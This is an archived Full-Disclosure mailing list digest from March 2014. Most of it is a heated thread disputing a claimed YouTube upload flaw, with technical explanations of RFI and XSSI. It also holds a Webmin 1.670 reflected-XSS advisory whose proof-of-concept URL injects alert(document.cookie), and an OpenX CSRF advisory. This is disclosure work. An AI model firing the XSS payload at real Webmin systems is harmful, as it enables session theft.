Re: [Full-disclosure] [SPAM] [Bayesian][bayesTestMode] Re: Google vulnerabilities with PoC

2014-03-15 Thread Stefan Jon Silverman 
Title: Message

  
  
Running ... out ... of ... popcorn --
  must .. resupply ...
  



 
 

  
Regards,
Stefan
 
**
 Stefan
Jon Silverman - Founder / President
      SJS Associates,
N.A., Inc.
   A
Technology Strategy Consultancy
**
  Cell  917
  929 1668   
     s...@sjsinc.com  
eMail
  www.sjsinc.com 
**

Aim/Skype/GoogleIM: LazloInSF  Twitter/Yahoo: sjs_sf
**

  Weebles wobble but they don't fall
down 
**

  
  

 
  
  On 3/15/2014 9:33 AM, Mario Vilas wrote:


  You must be new.
  

On Sat, Mar 15, 2014 at 3:43 PM, Thomas
  Williams 
  wrote:
  
I signed onto this mailing
  list as an interested person in security - not to see
  everyone moan. We will all have differences in opinion and
  we should all respect that. This goes for everyone and I
  feel I speak for a lot of people here, everyone needs to
  grow up, and shut up.
  

  

  

  

  


___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

Re: [Full-disclosure] Google vulnerabilities with PoC

2014-03-15 Thread Gichuki John Chuksjonia 
How the hell did you ever think Google will honor this? By now they
could be fixing this issue, they hell don't care about you.



On 3/15/14, Georgi Guninski  wrote:
> Is it possible with the help of Godwin's law
> this discussion moves offlist?
>
> --
> guninski
>
> On Thu, Mar 13, 2014 at 10:43:50AM +, Nicholas Lemonias. wrote:
>> Google vulnerabilities uncovered...
>>
>>
>> http://news.softpedia.com/news/Expert-Finds-File-Upload-Vulnerability-in-YouTube-Google-Denies-It-s-a-Security-Issue-431489.shtml
>
>> ___
>> Full-Disclosure - We believe in it.
>> Charter: http://lists.grok.org.uk/full-disclosure-charter.html
>> Hosted and sponsored by Secunia - http://secunia.com/
>
> ___
> Full-Disclosure - We believe in it.
> Charter: http://lists.grok.org.uk/full-disclosure-charter.html
> Hosted and sponsored by Secunia - http://secunia.com/
>


-- 
-- 
Gichuki John Ndirangu, C.E.H , C.P.T.P, O.S.C.P
I.T Security Analyst and Penetration Tester
jgichuki at inbox d0t com

{FORUM}http://lists.my.co.ke/pipermail/security/
http://chuksjonia.blogspot.com/

___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

Re: [Full-disclosure] Google vulnerabilities with PoC

2014-03-15 Thread Georgi Guninski 
Is it possible with the help of Godwin's law
this discussion moves offlist?

-- 
guninski

On Thu, Mar 13, 2014 at 10:43:50AM +, Nicholas Lemonias. wrote:
> Google vulnerabilities uncovered...
> 
> 
> http://news.softpedia.com/news/Expert-Finds-File-Upload-Vulnerability-in-YouTube-Google-Denies-It-s-a-Security-Issue-431489.shtml

> ___
> Full-Disclosure - We believe in it.
> Charter: http://lists.grok.org.uk/full-disclosure-charter.html
> Hosted and sponsored by Secunia - http://secunia.com/

___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

Re: [Full-disclosure] Fwd: Google vulnerabilities with PoC

2014-03-15 Thread Michal Zalewski 
> The thread read Google vulnerabilities with PoC. From my understanding  it 
> was a RFI vulnerability on YouTube, and I voiced my support that this is a 
> vulnerability.

I don't think this is accurate, at least based on the standard
definition of RFI: a server-side scripting language - usually PHP -
accidentally executing a script fetched from a remote server because
it passed an attacker-controlled string to an API that allows both
local file paths and remote URLs.

The report talks about a different behavior: the ability for users to
upload video and non-video content using legitimate functionality of
the site, without a way to make the server do anything interesting
with the received data. This may or may not be interesting on its own
merit, but I think it's pretty far from RFI.

> I also explained a JSON Hijacking case as a follow up, and you said you 
> didn't follow.

Yup, I am genuinely not familiar with the attack vector that *I think*
you are describing, or why it would matter in this context. My earlier
message in this thread explains my reasoning (in essence, there are
certain conditions that have to be met for a typical XSSI bug, and I
don't think they are met here), but if my understanding is wrong, I'd
really like to learn about the proposed attack.

/mz

___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

Re: [Full-disclosure] Fwd: Google vulnerabilities with PoC

2014-03-15 Thread Michal Zalewski 
> Is this treated with the same way that says that Remote File Inclusion is not 
> a security issue ?

I'm not sure how RFI came into play on this thread - the original
report wasn't about RFI.

I don't have an agenda here; I'm just trying to get to the bottom of
it and make sure that we converge on a common understanding of the
issue. As in any argument, it's fairly likely that one of us is wrong,
and I accept that it could very well be me - I have been wrong quite a
few times in my life, and it's always a valuable learning opportunity.

I think it's unfortunate that the thread has devolved into various
accusations and credential-slinging, because it reduces the likelihood
of such a productive outcome. Please feel free to ping me directly any
time, though - I'm happy to chat.

Cheers,
/mz

___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

Re: [Full-disclosure] Fwd: Google vulnerabilities with PoC

2014-03-15 Thread Michal Zalewski 
> A hacker exploits a JSON (javascript) object that has information of interest 
> for example holding some values for cookies. A lot of times that exploits the 
> same policy origin. The JSON object returned from a server can be forged over 
> writing javascript function that create the object. This happens because of 
> the same origin policy problem in browsers that cannot say if js execution it 
> different for two different sites.

To be honest, I'm not sure I follow, but I'm fairly confident that my
original point stands. If you believe that well-formed JSON objects
without padding can be read across origins within the browser, I would
love to see more information about that. (In this particular case, it
still wouldn't matter because the response doesn't contain secrets,
but it would certainly break a good chunk of the Internet.) JSONP is a
different animal.

/mz

___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

Re: [Full-disclosure] Fwd: Google vulnerabilities with PoC

2014-03-15 Thread Michal Zalewski 
> As a professional penetration tester, [...]
> The JSON service responds to GET requests , and there is a good chance that
> the service is also vulnerable to JSON Hijacking attacks.

That's... not how XSSI works.

To have a script inclusion vulnerability, you need to have a vanilla
GET response that contains some user-specific secrets that are
returned to the caller based on HTTP cookies (or, less likely, other
"ambient" credentials). For example, a script response that discloses
the contents of your mailbox or the list of private contacts would be
of concern.

Further, the response must be in a format that can be not only loaded,
but also inspected by another site opened in your browser; most types
of JSONP fall into this category, but JSON generally does not,
essentially because of how the meaning of "{" is overloaded in JS
depending on where it appears in a block of code.

Last but not least, the final piece of the puzzle is that the response
must be served at a URL that can be guessed by third parties who don't
have access to your account.

/mz

___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

Re: [Full-disclosure] [SPAM] [Bayesian][bayesTestMode] Re: Google vulnerabilities with PoC

2014-03-15 Thread Mario Vilas 
You must be new.


On Sat, Mar 15, 2014 at 3:43 PM, Thomas Williams wrote:

> I signed onto this mailing list as an interested person in security - not
> to see everyone moan. We will all have differences in opinion and we should
> all respect that. This goes for everyone and I feel I speak for a lot of
> people here, everyone needs to grow up, and shut up.
>
>
>
> Email scanned and verified safe.
>
> On 15 Mar 2014, at 13:43, Mario Vilas  wrote:
>
> Sockpuppet much?
>
>
> On Sat, Mar 15, 2014 at 2:35 PM, M Kirschbaum  wrote:
>
>> Gynvael Coldwind,
>>
>> What Alfred has reiterated is that this is a security vulnerability
>> irrelevantly of whether it qualifies for credit.
>>
>> It is an unusual one, but still a security vulnerability. Anyone who says
>> otherwise is blind, has little or no experience in hands on security, or
>> either has a different agenda.
>>
>> The obvious here is that Google dismissed it as a non-security issue
>> which I find rather sad and somewhat ridiculous.
>>
>> Even if we asked Andrew Tanenbaum about ,I suspect his answers wouldn't
>> be much different.
>>
>> Rgds,
>>
>>
>>   On Saturday, 15 March 2014, 12:45, Gynvael Coldwind <
>> gynv...@coldwind.pl> wrote:
>>  Hey,
>>
>> I think the discussion digressed a little from the topic. Let's try to
>> steer it back on it.
>>
>> What would make this a security vulnerability is one of the three
>> standard outcomes:
>>
>> - information leak - i.e. leaking sensitive information that you normally
>> do not have access to
>> - remote code execution - in this case it would be:
>> -- XSS - i.e. executing attacker provided JS/etc code in another user's
>> browser, in the context *of a sensitive, non-sandboxed* domain (e.g.
>> youtube.com)
>> -- server-side code execution - i.e. executing attacker provided code on
>> the youtube servers
>> - denial of service - I think we all agree this bug doesn't increase the
>> chance of a DoS; since you upload files that fail to be processed (so the
>> CPU-consuming re-encoding is never run) I would argue that this decreases
>> the chance of DoS if anything
>>
>> Which leaves us with the aforementioned RCE.
>>
>> I think we all agree that if Mr. Lemonias presents a PoC that uses the
>> functionality he discovered to, either:
>> (A) display a standard XSS alert(document.domain) in a sensitive domain
>> (i.e. *.youtube.com or *.google.com, etc) for a different (test) user
>> OR
>> (B) execute code to fetch the standard /etc/passwd file from the youtube
>> server and send it to him,
>> then we will be convinced that this is vulnerability and will be
>> satisfied by the presented proof.
>>
>> I think that further discussion without this proof is not leading
>> anywhere.
>>
>>
>> One more note - in the discussion I noticed some arguments were tried to
>> be justified or backed by saying "I am this this and that, and have this
>> many years of experience", e.g. (the first one I could find):
>>
>> "have worked for Lumension as a security consultant for more than a
>> decade."
>>
>> Please note, that neither experience, nor job title, proves
>> exploitability of a *potential* bug. Working exploits do.
>>
>>
>> That's it from me. I'm looking forward to seeing the RCE exploits (be it
>> client or server side).
>>
>> Kind regards,
>> Gynvael Coldwind
>>
>>
>>
>
>
> --
> “There's a reason we separate military and the police: one fights
> the enemy of the state, the other serves and protects the people. When
> the military becomes both, then the enemies of the state tend to become the
> people.”
>  ___
> Full-Disclosure - We believe in it.
> Charter: http://lists.grok.org.uk/full-disclosure-charter.html
> Hosted and sponsored by Secunia - http://secunia.com/
>
>
>


-- 
“There's a reason we separate military and the police: one fights the enemy
of the state, the other serves and protects the people. When the military
becomes both, then the enemies of the state tend to become the people.”
___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

Re: [Full-disclosure] Google vulnerabilities with PoC

2014-03-15 Thread Mario Vilas 
Sockpuppet much?


On Sat, Mar 15, 2014 at 2:35 PM, M Kirschbaum  wrote:

> Gynvael Coldwind,
>
> What Alfred has reiterated is that this is a security vulnerability
> irrelevantly of whether it qualifies for credit.
>
> It is an unusual one, but still a security vulnerability. Anyone who says
> otherwise is blind, has little or no experience in hands on security, or
> either has a different agenda.
>
> The obvious here is that Google dismissed it as a non-security issue which
> I find rather sad and somewhat ridiculous.
>
> Even if we asked Andrew Tanenbaum about ,I suspect his answers wouldn't be
> much different.
>
> Rgds,
>
>
>   On Saturday, 15 March 2014, 12:45, Gynvael Coldwind 
> wrote:
>  Hey,
>
> I think the discussion digressed a little from the topic. Let's try to
> steer it back on it.
>
> What would make this a security vulnerability is one of the three standard
> outcomes:
>
> - information leak - i.e. leaking sensitive information that you normally
> do not have access to
> - remote code execution - in this case it would be:
> -- XSS - i.e. executing attacker provided JS/etc code in another user's
> browser, in the context *of a sensitive, non-sandboxed* domain (e.g.
> youtube.com)
> -- server-side code execution - i.e. executing attacker provided code on
> the youtube servers
> - denial of service - I think we all agree this bug doesn't increase the
> chance of a DoS; since you upload files that fail to be processed (so the
> CPU-consuming re-encoding is never run) I would argue that this decreases
> the chance of DoS if anything
>
> Which leaves us with the aforementioned RCE.
>
> I think we all agree that if Mr. Lemonias presents a PoC that uses the
> functionality he discovered to, either:
> (A) display a standard XSS alert(document.domain) in a sensitive domain
> (i.e. *.youtube.com or *.google.com, etc) for a different (test) user
> OR
> (B) execute code to fetch the standard /etc/passwd file from the youtube
> server and send it to him,
> then we will be convinced that this is vulnerability and will be satisfied
> by the presented proof.
>
> I think that further discussion without this proof is not leading anywhere.
>
>
> One more note - in the discussion I noticed some arguments were tried to
> be justified or backed by saying "I am this this and that, and have this
> many years of experience", e.g. (the first one I could find):
>
> "have worked for Lumension as a security consultant for more than a
> decade."
>
> Please note, that neither experience, nor job title, proves exploitability
> of a *potential* bug. Working exploits do.
>
>
> That's it from me. I'm looking forward to seeing the RCE exploits (be it
> client or server side).
>
> Kind regards,
> Gynvael Coldwind
>
>
>


-- 
“There's a reason we separate military and the police: one fights the enemy
of the state, the other serves and protects the people. When the military
becomes both, then the enemies of the state tend to become the people.”
___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

Re: [Full-disclosure] Google vulnerabilities with PoC

2014-03-15 Thread Mario Vilas 
Thank you. :)


On Sat, Mar 15, 2014 at 1:45 PM, Gynvael Coldwind wrote:

> Hey,
>
> I think the discussion digressed a little from the topic. Let's try to
> steer it back on it.
>
> What would make this a security vulnerability is one of the three standard
> outcomes:
>
> - information leak - i.e. leaking sensitive information that you normally
> do not have access to
> - remote code execution - in this case it would be:
> -- XSS - i.e. executing attacker provided JS/etc code in another user's
> browser, in the context *of a sensitive, non-sandboxed* domain (e.g.
> youtube.com)
> -- server-side code execution - i.e. executing attacker provided code on
> the youtube servers
> - denial of service - I think we all agree this bug doesn't increase the
> chance of a DoS; since you upload files that fail to be processed (so the
> CPU-consuming re-encoding is never run) I would argue that this decreases
> the chance of DoS if anything
>
> Which leaves us with the aforementioned RCE.
>
> I think we all agree that if Mr. Lemonias presents a PoC that uses the
> functionality he discovered to, either:
> (A) display a standard XSS alert(document.domain) in a sensitive domain
> (i.e. *.youtube.com or *.google.com, etc) for a different (test) user
> OR
> (B) execute code to fetch the standard /etc/passwd file from the youtube
> server and send it to him,
> then we will be convinced that this is vulnerability and will be satisfied
> by the presented proof.
>
> I think that further discussion without this proof is not leading anywhere.
>
>
> One more note - in the discussion I noticed some arguments were tried to
> be justified or backed by saying "I am this this and that, and have this
> many years of experience", e.g. (the first one I could find):
>
> "have worked for Lumension as a security consultant for more than a
> decade."
>
> Please note, that neither experience, nor job title, proves exploitability
> of a *potential* bug. Working exploits do.
>
>
> That's it from me. I'm looking forward to seeing the RCE exploits (be it
> client or server side).
>
> Kind regards,
> Gynvael Coldwind
>



-- 
“There's a reason we separate military and the police: one fights the enemy
of the state, the other serves and protects the people. When the military
becomes both, then the enemies of the state tend to become the people.”
___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

Re: [Full-disclosure] Google vulnerabilities with PoC

2014-03-15 Thread Gynvael Coldwind 
Hey,

I think the discussion digressed a little from the topic. Let's try to
steer it back on it.

What would make this a security vulnerability is one of the three standard
outcomes:

- information leak - i.e. leaking sensitive information that you normally
do not have access to
- remote code execution - in this case it would be:
-- XSS - i.e. executing attacker provided JS/etc code in another user's
browser, in the context *of a sensitive, non-sandboxed* domain (e.g.
youtube.com)
-- server-side code execution - i.e. executing attacker provided code on
the youtube servers
- denial of service - I think we all agree this bug doesn't increase the
chance of a DoS; since you upload files that fail to be processed (so the
CPU-consuming re-encoding is never run) I would argue that this decreases
the chance of DoS if anything

Which leaves us with the aforementioned RCE.

I think we all agree that if Mr. Lemonias presents a PoC that uses the
functionality he discovered to, either:
(A) display a standard XSS alert(document.domain) in a sensitive domain
(i.e. *.youtube.com or *.google.com, etc) for a different (test) user
OR
(B) execute code to fetch the standard /etc/passwd file from the youtube
server and send it to him,
then we will be convinced that this is vulnerability and will be satisfied
by the presented proof.

I think that further discussion without this proof is not leading anywhere.


One more note - in the discussion I noticed some arguments were tried to be
justified or backed by saying "I am this this and that, and have this many
years of experience", e.g. (the first one I could find):

"have worked for Lumension as a security consultant for more than a decade."

Please note, that neither experience, nor job title, proves exploitability
of a *potential* bug. Working exploits do.


That's it from me. I'm looking forward to seeing the RCE exploits (be it
client or server side).

Kind regards,
Gynvael Coldwind
___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

[Full-disclosure] Reflected XSS Attacks XSS vulnerabilities in Webmin 1.670 (CVE-2014-0339)

2014-03-15 Thread William Costa 
I. VULNERABILITY

-

Reflected XSS Attacks XSS vulnerabilities in Webmin 1.670

II. BACKGROUND

-

Webmin is a web-based interface for system administration for Unix.
Using any modern web browser, you can setup user accounts, Apache,
DNS, file sharing and much more. Webmin removes the need to manually
edit Unix configuration files like /etc/passwd, and lets you manage a
system from the console or remotely. See the standard modules page for
a list of all the functions built into Webmin, or check out the
screenshots.




III. DESCRIPTION

-

Has been detected a Reflected XSS vulnerability in Webmin 1.670 in
page of log, that allows the execution of arbitrary HTML/script code
to be executed in the context of the victim user's browser.
The code injection is done through the parameter "search" in page
https://IP:1/webminlog/view.cgi?id=1&search=



IV. PROOF OF CONCEPT

-

https://192.168.49.132:1/webminlog/view.cgi?id=1&search=e";>alert(document.cookie);



V. BUSINESS IMPACT

-

An attacker can execute arbitrary HTML or script code in a targeted

user's browser, this can leverage to steal sensitive information as
user credentials, personal data, etc.





VI. SYSTEMS AFFECTED

-



Webmin version 1.670 install in Debian





VII. SOLUTION

-

All data received by the application and can be modified by the user,

before making any kind of transaction with them must be validated.

VIII. References
-
http://www.kb.cert.org/vuls/id/381692
http://www.webmin.com/changes.html
___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

Re: [Full-disclosure] Google vulnerabilities with PoC

2014-03-15 Thread M Kirschbaum 
Dear Mario,
 
There is nothing to gain being on either side. I have already read the thread 
replies by M. Zalewski. I believe Google is false and does not honor the 
security community.
 Rgds,

M. Kirschbaum 
 
 
 
 
 



On Saturday, 15 March 2014, 11:11, Mario Vilas  wrote:
  
I believe Zalewski has explained very well why it isn't a vulnerability, and 
you couldn't possibly be calling him hostile. :) 



On Sat, Mar 15, 2014 at 11:20 AM, M Kirschbaum  wrote:

I have been watching this thread for a while and I think some people are being 
hostile here. 
>  
>There is nothing to gain being on eithers side but for the sake of security. 
>As a penetration tester, writer, and malware analyst with a long and rewarding 
>career...it would be absurd to admit that this is not a vulnerability. If the 
>content-type fields can be altered and the API accepts it that is undoubtedly 
>a vulnerability, I believe that it shouldn't be there. It would be a shame to 
>say that this is not a security problem. I have seen different responses on 
>this thread but having seen the proof of concept images as well I just think 
>that some of the people commenting here are just being hostile. 
>  
>It doesn't take much for somebody in the field, to see clearly that Google 
>does not want to pay. And I bet any amount of money that the bug bounty 
>program is a way for filing potential threats by name and bank details. 
> 
>Rgds,
>M. Kirschbaum  
> 
>___
>Full-Disclosure - We believe in it.
>Charter: http://lists.grok.org.uk/full-disclosure-charter.html
>Hosted and sponsored by Secunia - http://secunia.com/
>


-- 
“There's a reason we separate military and the police: one fights the enemy of 
the state, the other serves and protects the people. When the military becomes 
both, then the enemies of the state tend to become the people.”___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

Re: [Full-disclosure] Fwd: Google vulnerabilities with PoC

2014-03-15 Thread Alfred Beese 
Some of the replies in this thread are very unfair to the original poster. I have read the news story and have thoroughly read the proof of concepts which in my opinion indicate that this is surely a security vulnerability.  I have worked for Lumension as a security consultant for more than a decade.  I have never thought that Google would have gone that far. Quite scary if you ask me... Do not be discouraged, as a security researcher I have also been getting that. I can certainly certify that this is a security problem, no doubts about that. Big Al Get your free email @http://www.xtcmail.com

___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

[Full-disclosure] [CVE-2013-5954] Multiple Cross Site Request Forgery Vulnerabilities in OpenX 2.8.11

2014-03-15 Thread Mahmoud Ghorbanzadeh 


Hello,

Multiple
cross-site request forgery (CSRF) vulnerabilities in  OpenX 2.8.11and earlier 
allows remote attackers to hijack the authentication of
administrators for requests that delete (1) users, (2) advertisers, (3) banners,
(4) campaigns, (5) channels, (6) websites or (7) zones via delete actions.

File: admin/agency-user-unlink.php
POC: 



File: admin/advertiser-delete.php
POC:


File: admin/banner-delete.php
POC:


File: admin/campaign-delete.php
POC:


File: admin/channel-delete.php  
POC:


 
File: admin/affiliate-delete.php
POC:


 
File: admin/zone-delete.php
POC:


Best regards.

OpenX CSRF Vulnerabilities Report.docx
Description: application/vnd.openxmlformats-officedocument.wordprocessingml.document
___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

Re: [Full-disclosure] Google vulnerabilities with PoC

2014-03-15 Thread antisnatchor 
On top of that, Google spent millions of dollars to buy Chrome exploits,
sandbox bypasses
and webapp bugs. So, if this was a REAL bug with some REAL security
impact, I don't think Google wouldn't have paid.

They have a REAL budget for that, they are not like Yahoo that sends you
a t-shirt.

The security industry has become a big business for many, with bug
bounties, no more free bugs (and hugs),
100 pages of low/info risk findings bumped to high risk to scare the
customer, and so on.

At least do not pretend money when there is no security bug,
and in general don't be a pretender if you don't have a clue.

Cheers
antisnatchor

Mario Vilas wrote:
> I believe Zalewski has explained very well why it isn't a vulnerability,
> and you couldn't possibly be calling him hostile. :)
>
>
> On Sat, Mar 15, 2014 at 11:20 AM, M Kirschbaum  wrote:
>
>> I have been watching this thread for a while and I think some people are
>> being hostile here.
>>
>> There is nothing to gain being on eithers side but for the sake of
>> security. As a penetration tester, writer, and malware analyst with a long
>> and rewarding career...it would be absurd to admit that this is not a
>> vulnerability. If the content-type fields can be altered and the API
>> accepts it that is undoubtedly a vulnerability, I believe that it shouldn't
>> be there. It would be a shame to say that this is not a security problem.
>> I have seen different responses on this thread but having seen the proof of
>> concept images as well I just think that some of the people commenting here
>> are just being hostile.
>>
>> It doesn't take much for somebody in the field, to see clearly that Google
>> does not want to pay. And I bet any amount of money that the bug bounty
>> program is a way for filing potential threats by name and bank details.
>>
>> Rgds,
>> M. Kirschbaum
>>
>>
>> ___
>> Full-Disclosure - We believe in it.
>> Charter: http://lists.grok.org.uk/full-disclosure-charter.html
>> Hosted and sponsored by Secunia - http://secunia.com/
>>
>
>
>
> ___
> Full-Disclosure - We believe in it.
> Charter: http://lists.grok.org.uk/full-disclosure-charter.html
> Hosted and sponsored by Secunia - http://secunia.com/

-- 
Cheers
Michele

___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

Re: [Full-disclosure] Google vulnerabilities with PoC

2014-03-15 Thread Mario Vilas 
I believe Zalewski has explained very well why it isn't a vulnerability,
and you couldn't possibly be calling him hostile. :)


On Sat, Mar 15, 2014 at 11:20 AM, M Kirschbaum  wrote:

> I have been watching this thread for a while and I think some people are
> being hostile here.
>
> There is nothing to gain being on eithers side but for the sake of
> security. As a penetration tester, writer, and malware analyst with a long
> and rewarding career...it would be absurd to admit that this is not a
> vulnerability. If the content-type fields can be altered and the API
> accepts it that is undoubtedly a vulnerability, I believe that it shouldn't
> be there. It would be a shame to say that this is not a security problem.
> I have seen different responses on this thread but having seen the proof of
> concept images as well I just think that some of the people commenting here
> are just being hostile.
>
> It doesn't take much for somebody in the field, to see clearly that Google
> does not want to pay. And I bet any amount of money that the bug bounty
> program is a way for filing potential threats by name and bank details.
>
> Rgds,
> M. Kirschbaum
>
>
> ___
> Full-Disclosure - We believe in it.
> Charter: http://lists.grok.org.uk/full-disclosure-charter.html
> Hosted and sponsored by Secunia - http://secunia.com/
>



-- 
“There's a reason we separate military and the police: one fights the enemy
of the state, the other serves and protects the people. When the military
becomes both, then the enemies of the state tend to become the people.”
___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

Re: [Full-disclosure] Fwd: Google vulnerabilities with PoC

2014-03-15 Thread Mario Vilas 
That is not what this email says. You can't reply "correct" to criticism
and pretend it's praise.


On Sat, Mar 15, 2014 at 6:11 AM, Nicholas Lemonias. <
lem.niko...@googlemail.com> wrote:

> Correct.
>
> The mime type can be circumvented. We can confirm this to be a valid
> vulnerability.
>
> For the PoC's :
>
>
> http://news.softpedia.com/news/Expert-Finds-File-Upload-Vulnerability-in-YouTube-Google-Denies-It-s-a-Security-Issue-431489.shtml
>
> On Fri, Mar 14, 2014 at 8:40 PM, Krzysztof Kotowicz <
> kkotowicz...@gmail.com> wrote:
>
>>
>> 2014-03-14 20:28 GMT+01:00 Nicholas Lemonias. > >:
>>
>> Then that also means that firewalls and IPS systems are worthless. Why
>>> spend so much time protecting the network layers if a user can send any
>>> file of choice to a remote network through http...
>>>
>>
>> No, they are not worthless per se, but of course for an user content
>> publishing service they need to allow file upload over HTTP/s. How far
>> those files are inspected and later processed is another question - and
>> that could lead to a vulnerability that you DIDN'T demonstrate.
>>
>> You just uploaded a .sh file. There's no harm in that as nowhere did you
>> prove that that file is being executed. Similarly (and that has been
>> pointed out in this thread) you could upload a PHP-GIF polyglot file to a
>> J2EE application - no vulnerability in this. Prove something by overwriting
>> a crucial file, tricking other user's browser to execute the file as HTML
>> from an interesting domain (XSS), popping a shell, triggering XXE when the
>> file is processed as XML, anything. Then that is a vulnerability. So far -
>> sorry, it is not, and you've been told it repeatedly.
>>
>>
>> As for the uploaded files being persistent, there is evidence of that.
>>> For instance a remote admin could be tricked to execute some of
>>> the uploaded files (Social Engineering).
>>>
>>
>> Come on, seriously? Social Engineering can make him download this file
>> from pastebin just as well. That's a real stretch.
>>
>> IMHO it is not a security issue. You're uploading a file to some kind of
>> processing queue that does not validate a file type, but nevertheless only
>> processes those files as video - there is NO reason to suspect otherwise,
>> and I'd like to be proven wrong here. Proven as in PoC.
>>
>>
>>
>
> ___
> Full-Disclosure - We believe in it.
> Charter: http://lists.grok.org.uk/full-disclosure-charter.html
> Hosted and sponsored by Secunia - http://secunia.com/
>



-- 
“There's a reason we separate military and the police: one fights the enemy
of the state, the other serves and protects the people. When the military
becomes both, then the enemies of the state tend to become the people.”
___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

Re: [Full-disclosure] Fwd: Google vulnerabilities with PoC

2014-03-15 Thread Mario Vilas 
On Sat, Mar 15, 2014 at 5:43 AM, Nicholas Lemonias. <
lem.niko...@googlemail.com> wrote:

> People who do not have the facts have been, trying to attack the arguer,
> on the basis of their personal beliefs.


Wow. I seriously can't tell if you're trolling or unbelievably narcissistic.

Your work has serious flaws, and have been pointed out with facts over and
over - but you think they're ad-hominem attacks based on the tone of their
replies. Zalewski here is just trying to be nice and patient with you - but
you somehow seem to believe he agrees with you based on the tone of his
replies.

You're either faking it and pulling a massive prank on all of us, or you're
so self absorbed you can't get past your own emotional responses to people
pointing out your mistakes. The actual contents of what they tell you are
irrelevant to you, all that matters is if people praise or criticize you.

I'm beginning to think you may have issues and we should all back off for a
while.

-- 
“There's a reason we separate military and the police: one fights the enemy
of the state, the other serves and protects the people. When the military
becomes both, then the enemies of the state tend to become the people.”
___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

Re: [Full-disclosure] Google vulnerabilities with PoC

2014-03-15 Thread M Kirschbaum 
I have been watching this thread for a while and I think some people are being 
hostile here. 
 
There is nothing to gain being on eithers side but for the sake of security. As 
a penetration tester, writer, and malware analyst with a long and rewarding 
career...it would be absurd to admit that this is not a vulnerability. If the 
content-type fields can be altered and the API accepts it that is undoubtedly a 
vulnerability, I believe that it shouldn't be there. It would be a shame to say 
that this is not a security problem. I have seen different responses on this 
thread but having seen the proof of concept images as well I just think that 
some of the people commenting here are just being hostile. 
 
It doesn't take much for somebody in the field, to see clearly that Google does 
not want to pay. And I bet any amount of money that the bug bounty program is a 
way for filing potential threats by name and bank details.
 
Rgds,
M. Kirschbaum ___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

Re: [Full-disclosure] Fwd: Google vulnerabilities with PoC

2014-03-15 Thread antisnatchor 
Btw, not sure if someone already mentioned it, but you are really
reaching the level
of MustLive. That's actually a big achievement. Congratz.

I'm not sure if you got what lcamtuf is saying (I'm impressed he still
takes time to reply to you),
apparently not. You're still trying to convince us that you're right.

Maybe you can create the next LOIC specifically tailored to DoS Youtube
with this serious bug, ROFL!

Cheers
antisnatchor

Nicholas Lemonias. wrote:
> If you wish to talk seriously about the problem, please send me an email
> privately. And we can talk about what we have found so far, and perhaps
> present some more proof of concepts for this on going research. This is
> between the researcher and Google.
>
> People who do not have the facts have been, trying to attack the arguer, on
> the basis of their personal beliefs. We are not speaking from experience,
> but based on our findings which includes PoC media, images, codes - and
> based on academic literature and recognised practise. Please bear in mind
> that a lot of research is conducted in academia (those old papers you
> say) before finally released to the commercial markets.
>
> Regards,
>
> *Nicholas Lemonias*
> *Information Security Expert*
> *Advanced Information Security Corp.*
>
>
> On Fri, Mar 14, 2014 at 10:49 PM, Mario Vilas  wrote:
>
>> Try learning how to properly send emails before critizicing anyone, pal. ;)
>>
>>
>> On Fri, Mar 14, 2014 at 6:44 PM, Nicholas Lemonias. <
>> lem.niko...@googlemail.com> wrote:
>>
>>> People can read the report if they like. Can't you even do basic things
>>> like reading a vulnerability report?
>>>
>>> Can't you see that the advisory is about writing arbitrary files. If I
>>> was your boss I would fire you.
>>> -- Forwarded message --
>>> From: Nicholas Lemonias. 
>>>  Date: Fri, Mar 14, 2014 at 5:43 PM
>>> Subject: Re: [Full-disclosure] Google vulnerabilities with PoC
>>> To: Mario Vilas 
>>>
>>>
>>> People can read the report if they like. Can't you even do basic things
>>> like reading a vulnerability report?
>>>
>>> Can't you see that the advisory is about writing arbitrary files. If I
>>> was your boss I would fire you, with a good kick outta the door.
>>>
>>>
>>>
>>>
>>>
>>>
